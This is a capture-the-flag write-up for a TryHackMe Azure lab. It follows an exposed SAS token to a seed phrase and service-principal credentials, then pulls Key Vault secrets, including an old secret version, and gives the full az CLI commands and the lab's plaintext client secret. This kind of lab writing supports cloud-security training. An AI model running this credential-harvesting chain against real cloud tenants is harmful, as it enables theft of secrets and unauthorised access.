- Introduction and ReconnaissanceThe CryptoCabana challenge on TryHackMe centers around an insecure cloud deployment where sensitive data, service accounts, and encryption keys are improperly exposed. The initial phase involves accessing the Azure environment using the provided portal credentials and launching the Azure Cloud Shell with Bash selected.
To validate shell access and check the active subscription context, we execute:
az account show
- Enumerating Azure Blob Storage Containers via SAS Tokens
During application analysis, an exposed Shared Access Signature (SAS) token is discovered. Using curl, we can query the Azure Blob Storage service endpoint to list all available containers:
The enumeration reveals three primary containers:
$web
backups
vault
- Extracting Sensitive Artifacts from the Vault Container
Targeting the vault container, we list its internal blobs to locate stored credentials and backup files:
The container hosts two critical files:
seed_phrase.txt
backup-service-account.json
Pulling the Files
Using our read permissions (sp=rl), we download both files directly via curl:
Seed Phrase:
Result: velvet cabana rebuild scatter obvious wallet drift lagoon punchline receipt orbit shrimp
Backup Service Account Credentials:
Result: Exposes the client_id, client_secret, tenant_id, and the target Azure Key Vault URI (ccabana-kv-f5scjagc).
- Authenticating as a Service PrincipalWith the extracted Service Principal credentials, we authenticate via the Azure CLI to inherit its access context within the subscription:
az login --service-principal -u dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 -p "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg" --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
- Enumerating and Querying Azure Key Vault Secrets
After successful authentication, we list the secrets contained within the target Key Vault (ccabana-kv-f5scjagc):
az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table
The vault contains four secrets:
key-shard-1
key-shard-2
key-shard-3
master-key
Extracting Flag Shards
we retrieve the values of the individual key shards sequentially:
First Shard:
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1 --query value -o tsv
Value: THM{not_ur
Third Shard:
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3 --query value -o tsv
Value: ur_c01ns!}
Retrieving Historical Versions for the Second Shard:
Because key-shard-2 indicated a rotation event, we list its previous versions to recover the older, sensitive value:
az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 --query "[].{Id:id, Attributes:attributes.enabled}" --output table
Querying the specific version ID (3d6492d2c6f74123bc754a9ded22b2a0) yields the missing middle segment:
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --version 3d6492d2c6f74123bc754a9ded22b2a0 --query value -o tsv
Value: k3ys_not
- ConclusionBy chaining exposed SAS token permissions, unencrypted backup analysis, service principal harvesting, and key vault version control tracking, we successfully reconstructed all flag components.
THM{................................










Top comments (0)